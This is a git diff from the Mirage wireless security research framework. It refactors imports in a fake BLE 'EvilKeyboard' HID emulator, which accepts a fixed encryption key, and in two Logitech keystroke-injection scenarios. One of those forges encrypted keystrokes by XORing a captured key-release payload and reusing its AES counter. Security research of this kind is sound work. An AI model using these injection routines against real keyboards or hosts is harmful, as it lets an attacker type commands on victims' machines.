UUID(UUID16=0x180F).data[::-1]+ # Battery Service + UUID(UUID16=0x180A).data[::-1]+ # Device Information Service + UUID(UUID16=0x1812).data[::-1] # BLE HID Service ) data = bytes([ @@ -24,7 +27,7 @@ def enableAdvertising(self): 1 + len(advertisementServices), # Complete list of 16-bit Service UUIDs data type value. 0x03, - ] + ] ) + advertisementServices self.emitter.setAdvertisingParameters(data=data) self.emitter.setScanningParameters(data=bytes.fromhex("0d094576696c4b6579626f617264") + data) @@ -33,29 +36,29 @@ def enableAdvertising(self): self.emitter.setAdvertising(enable=True) def initializeDeviceInformationService(self): - self.server.addPrimaryService(ble.UUID(name="Device Information").data) - self.server.addCharacteristic(ble.UUID(name="Manufacturer Name String").data,b"EvilKeyboard") - self.server.addCharacteristic(ble.UUID(name="PnP ID").data,bytes.fromhex("014700ffffffff")) + self.server.addPrimaryService(UUID(name="Device Information").data) + self.server.addCharacteristic(UUID(name="Manufacturer Name String").data,b"EvilKeyboard") + self.server.addCharacteristic(UUID(name="PnP ID").data,bytes.fromhex("014700ffffffff")) def initializeBatteryService(self): - self.server.addPrimaryService(ble.UUID(name="Battery Service").data) - self.server.addCharacteristic(ble.UUID(name="Battery Level").data,b"0000000000") - self.server.addDescriptor(ble.UUID(name="Client Characteristic Configuration").data,b"\x01\x00") - self.server.addDescriptor(ble.UUID(name="Characteristic Presentation Format").data,b"\x04\x00\xad\x27\x01\x00\x00") + self.server.addPrimaryService(UUID(name="Battery Service").data) + self.server.addCharacteristic(UUID(name="Battery Level").data,b"0000000000") + self.server.addDescriptor(UUID(name="Client Characteristic Configuration").data,b"\x01\x00") + self.server.addDescriptor(UUID(name="Characteristic Presentation Format").data,b"\x04\x00\xad\x27\x01\x00\x00") def initializeHIDService(self): - self.server.addPrimaryService(ble.UUID(name="Human Interface Device").data) - self.server.addCharacteristic(ble.UUID(name="Report").data,b"\x00\x00\x00\x00\x00\x00\x00\x00",permissions=["Read","Write","Notify"]) - self.server.addDescriptor(ble.UUID(name="Client Characteristic Configuration").data,b"\x00",permissions=["Read","Write","Notify"]) - self.server.addDescriptor(ble.UUID(name="Report Reference").data,b"\x01\x01", permissions=["Read","Write","Notify"]) # report ID 0x00, report type (0x01 = input) - self.server.addCharacteristic(ble.UUID(name="Report Map").data,REPORT_MAP) - self.server.addCharacteristic(ble.UUID(name="HID Information").data,bytes.fromhex("00010002")) # version=0x0100 countrycode=0x00 flags=0x02(normally connectable) - self.server.addCharacteristic(ble.UUID(name="HID Control Point").data, b"\x00",permissions=['Write Without Response']) - self.server.addCharacteristic(ble.UUID(name="Protocol Mode").data,b"\x01",permissions=['Write Without Response', 'Read','Notify']) + self.server.addPrimaryService(UUID(name="Human Interface Device").data) + self.server.addCharacteristic(UUID(name="Report").data,b"\x00\x00\x00\x00\x00\x00\x00\x00",permissions=["Read","Write","Notify"]) + self.server.addDescriptor(UUID(name="Client Characteristic Configuration").data,b"\x00",permissions=["Read","Write","Notify"]) + self.server.addDescriptor(UUID(name="Report Reference").data,b"\x01\x01", permissions=["Read","Write","Notify"]) # report ID 0x00, report type (0x01 = input) + self.server.addCharacteristic(UUID(name="Report Map").data,REPORT_MAP) + self.server.addCharacteristic(UUID(name="HID Information").data,bytes.fromhex("00010002")) # version=0x0100 countrycode=0x00 flags=0x02(normally connectable) + self.server.addCharacteristic(UUID(name="HID Control Point").data, b"\x00",permissions=['Write Without Response']) + self.server.addCharacteristic(UUID(name="Protocol Mode").data,b"\x01",permissions=['Write Without Response', 'Read','Notify']) def allowEncryption(self,pkt): pkt.show() - self.emitter.sendp(ble.BLELongTermKeyRequestReply(positive=True, ltk=bytes.fromhex("112233445566778899aabbccddeeff")[::-1])) + self.emitter.sendp(BLELongTermKeyRequestReply(positive=True, ltk=bytes.fromhex("112233445566778899aabbccddeeff")[::-1])) def initializeServices(self): self.initializeDeviceInformationService() @@ -66,10 +69,10 @@ def initializeServices(self): def addHIDoverGATTKeystroke(self,locale="fr",key="a",ctrl=False, alt=False, gui=False,shift=False): keystrokes = [] - keystrokePressed = ble.HIDoverGATTKeystroke(locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift) + keystrokePressed = HIDoverGATTKeystroke(locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift) keystrokeReleased = bytes([0,0,0,0,0,0,0,0]) - keystrokes.append(ble.BLEHandleValueNotification(handle=0x000d,value=keystrokePressed.data)) - keystrokes.append(ble.BLEHandleValueNotification(handle=0x000d,value=keystrokeReleased)) + keystrokes.append(BLEHandleValueNotification(handle=0x000d,value=keystrokePressed.data)) + keystrokes.append(BLEHandleValueNotification(handle=0x000d,value=keystrokeReleased)) return keystrokes def startHIDoverGATTInjection(self): @@ -77,7 +80,7 @@ def startHIDoverGATTInjection(self): def addHIDoverGATTDelay(self,duration=1000): keystrokes = [] - keystrokes.append(wireless.WaitPacket(time=0.0001*duration)) + keystrokes.append(WaitPacket(time=0.0001*duration)) return keystrokes def addHIDoverGATTText(self,string="hello world !",locale="fr"): @@ -123,7 +126,7 @@ def onStart(self): return True def onPairingOK(self,pkt): - self.emitter.sendp(ble.BLEDisconnect()) + self.emitter.sendp(BLEDisconnect()) def onMasterConnect(self,pkt): if "PAIRING" in self.module.args and self.module.args["PAIRING"].lower()=="active": @@ -137,7 +140,7 @@ def onEnd(self): def onKey(self,key): if key == "esc": - self.emitter.sendp(ble.BLEDisconnect()) + self.emitter.sendp(BLEDisconnect()) return False if self.mode in ("text","duckyscript") and key.lower() == "space": print(self.attackStream) diff --git a/mirage/scenarios/logitech_encrypted_keystrokes_injection.py b/mirage/scenarios/logitech_encrypted_keystrokes_injection.py index 8b51416..0729d14 100644 --- a/mirage/scenarios/logitech_encrypted_keystrokes_injection.py +++ b/mirage/scenarios/logitech_encrypted_keystrokes_injection.py @@ -1,26 +1,32 @@ +from threading import Lock + from mirage.core import scenario -from mirage.libs import io,esb,utils,wireless +from mirage.libs import io, utils from mirage.libs.common import parsers -from threading import Lock +from mirage.libs.esb_utils.dissectors import LogitechKeystroke +from mirage.libs.esb_utils.packets import ESBLogitechEncryptedKeystrokePacket, ESBLogitechKeepAlivePacket, ESBLogitechSetTimeoutPacket +from mirage.libs.wireless_utils.packetQueue import StoppableThread +from mirage.libs.wireless_utils.packets import WaitPacket + class logitech_encrypted_keystrokes_injection(scenario.Scenario): def addLogitechKeystroke(self,locale="fr",key="a",ctrl=False, alt=False, gui=False,shift=False): keystrokes = [] - keystrokeUnencryptedPayload = esb.LogitechKeystroke(locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift).data + keystrokeUnencryptedPayload = LogitechKeystroke(locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift).data forgedPayload = bytes([self.lastKeyRelease.hidData[i] ^ keystrokeUnencryptedPayload[i] for i in range(len(self.lastKeyRelease.hidData))]) io.info("Forged payload: "+forgedPayload.hex()) - keystrokes.append(esb.ESBLogitechEncryptedKeystrokePacket(address=self.target,aesCounter=self.lastKeyRelease.aesCounter,unknown=self.lastKeyRelease.unknown,hidData = forgedPayload)) - keystrokes.append(wireless.WaitPacket(time=12/1000.0)) - keystrokes.append(esb.ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) - keystrokes.append(esb.ESBLogitechEncryptedKeystrokePacket(address=self.target,aesCounter=self.lastKeyRelease.aesCounter,unknown=self.lastKeyRelease.unknown,hidData = self.lastKeyRelease.hidData)) + keystrokes.append(ESBLogitechEncryptedKeystrokePacket(address=self.target,aesCounter=self.lastKeyRelease.aesCounter,unknown=self.lastKeyRelease.unknown,hidData = forgedPayload)) + keystrokes.append(WaitPacket(time=12/1000.0)) + keystrokes.append(ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) + keystrokes.append(ESBLogitechEncryptedKeystrokePacket(address=self.target,aesCounter=self.lastKeyRelease.aesCounter,unknown=self.lastKeyRelease.unknown,hidData = self.lastKeyRelease.hidData)) return keystrokes def addLogitechDelay(self,duration=1000): keystrokes = [] number = int(duration / 10.0) for _ in range(number): - keystrokes.append(esb.ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) - keystrokes.append(wireless.WaitPacket(time=10.0/1000.0)) + keystrokes.append(ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) + keystrokes.append(WaitPacket(time=10.0/1000.0)) return keystrokes def addLogitechText(self,string="hello world !",locale="fr"): @@ -30,7 +36,7 @@ def addLogitechText(self,string="hello world !",locale="fr"): return keystrokes def startLogitechInjection(self,timeout=1200): - keystrokes=[esb.ESBLogitechSetTimeoutPacket(address=self.target,timeout=1200)] + keystrokes=[ESBLogitechSetTimeoutPacket(address=self.target,timeout=1200)] return keystrokes def keepAlive(self): @@ -83,7 +89,7 @@ def onStart(self): elif "INTERACTIVE" in self.module.args and utils.booleanArg(self.module.args["INTERACTIVE"]): self.mode = "interactive" io.info("Interactive mode") - self.keepAliveThread = wireless.StoppableThread(self.keepAlive) + self.keepAliveThread = StoppableThread(self.keepAlive) self.keepAliveThread.start() elif "DUCKYSCRIPT" in self.module.args and self.module.args["DUCKYSCRIPT"] != "": self.mode = "duckyscript" diff --git a/mirage/scenarios/logitech_unencrypted_keystrokes_injection.py b/mirage/scenarios/logitech_unencrypted_keystrokes_injection.py index 9519da6..94f3423 100644 --- a/mirage/scenarios/logitech_unencrypted_keystrokes_injection.py +++ b/mirage/scenarios/logitech_unencrypted_keystrokes_injection.py @@ -1,15 +1,20 @@ +from threading import Lock + from mirage.core import scenario -from mirage.libs import io,esb,utils,wireless +from mirage.libs import io, utils from mirage.libs.common import parsers -from threading import Lock +from mirage.libs.esb_utils.packets import ESBLogitechKeepAlivePacket, ESBLogitechSetTimeoutPacket, ESBLogitechUnencryptedKeyPressPacket, ESBLogitechUnencryptedKeyReleasePacket +from mirage.libs.wireless_utils.packetQueue import StoppableThread +from mirage.libs.wireless_utils.packets import WaitPacket + class logitech_unencrypted_keystrokes_injection(scenario.Scenario): def addLogitechKeystroke(self,locale="fr",key="a",ctrl=False, alt=False, gui=False,shift=False): keystrokes = [] - keystrokes.append(esb.ESBLogitechUnencryptedKeyPressPacket(address=self.target,locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift)) - keystrokes.append(wireless.WaitPacket(time=12/1000.0)) - keystrokes.append(esb.ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) - keystrokes.append(esb.ESBLogitechUnencryptedKeyReleasePacket(address=self.target)) + keystrokes.append(ESBLogitechUnencryptedKeyPressPacket(address=self.target,locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift)) + keystrokes.append(WaitPacket(time=12/1000.0)) + keystrokes.append(ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) + keystrokes.append(ESBLogitechUnencryptedKeyReleasePacket(address=self.target)) return keystrokes @@ -17,8 +22,8 @@ def addLogitechDelay(self,duration=1000): keystrokes = [] number = int(duration / 10.0) for _ in range(number): - keystrokes.append(esb.ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) - keystrokes.append(wireless.WaitPacket(time=10.0/1000.0)) + keystrokes.append(ESBLogitechKeepAlivePacket(address=self.target,timeout=1200)) + keystrokes.append(WaitPacket(time=10.0/1000.0)) return keystrokes def addLogitechText(self,string="hello world !",locale="fr"): @@ -28,7 +33,7 @@ def addLogitechText(self,string="hello world !",locale="fr"): return keystrokes def startLogitechInjection(self,timeout=1200): - keystrokes=[esb.ESBLogitechSetTimeoutPacket(address=self.target,timeout=1200)] + keystrokes=[ESBLogitechSetTimeoutPacket(address=self.target,timeout=1200)] return keystrokes def keepAlive(self): @@ -60,7 +65,7 @@ def onStart(self): elif "INTERACTIVE" in self.module.args and utils.booleanArg(self.module.args["INTERACTIVE"]): self.mode = "interactive" io.info("Interactive mode") - self.keepAliveThread = wireless.StoppableThread(self.keepAlive) + self.keepAliveThread = StoppableThread(self.keepAlive) self.keepAliveThread.start() elif "DUCKYSCRIPT" in self.module.args and self.module.args["DUCKYSCRIPT"] != "": self.mode = "duckyscript" diff --git a/setup.py b/setup.py index 4703a3c..5751f5b 100644 --- a/setup.py +++ b/setup.py @@ -1,42 +1,40 @@ #!/usr/bin/env python -from setuptools import setup, find_packages +from setuptools import find_packages, setup import mirage setup( + name='mirage', - name='mirage', + version=mirage.__version__, - version=mirage.__version__, + packages=find_packages(), - packages=find_packages(), + author="Romain Cayre", - author="Romain Cayre", + author_email="rcayre@laas.fr", - author_email="rcayre@laas.fr", + description="Mirage is an offensive framework dedicated to the security analysis of wireless communication protocols", - description="Mirage is an offensive framework dedicated to the security analysis of wireless communication protocols", + install_requires=["keyboard", "terminaltables", "pyusb", "pyserial", "pycryptodomex", "psutil", "scapy", "matplotlib"], - install_requires=["keyboard","terminaltables","pyusb","pyserial","pycryptodomex","psutil","scapy","matplotlib"], + include_package_data=True, - include_package_data=True, + url='https://redmine.laas.fr/projects/mirage', - url='https://redmine.laas.fr/projects/mirage', + classifiers=[ + "Programming Language :: Python", + "License :: OSI Approved :: MIT License", + "Natural Language :: French", + "Operating System :: Linux", + "Programming Language :: Python :: 3.6", + "Topic :: Security", + ], - - classifiers=[ - "Programming Language :: Python", - "License :: OSI Approved :: MIT License", - "Natural Language :: French", - "Operating System :: Linux", - "Programming Language :: Python :: 3.6", - "Topic :: Security", - ], - - entry_points = { - 'console_scripts': [ - 'mirage = mirage.mirage:main', - ], - }, + entry_points={ + 'console_scripts': [ + 'mirage = mirage.mirage:main', + ], + }, )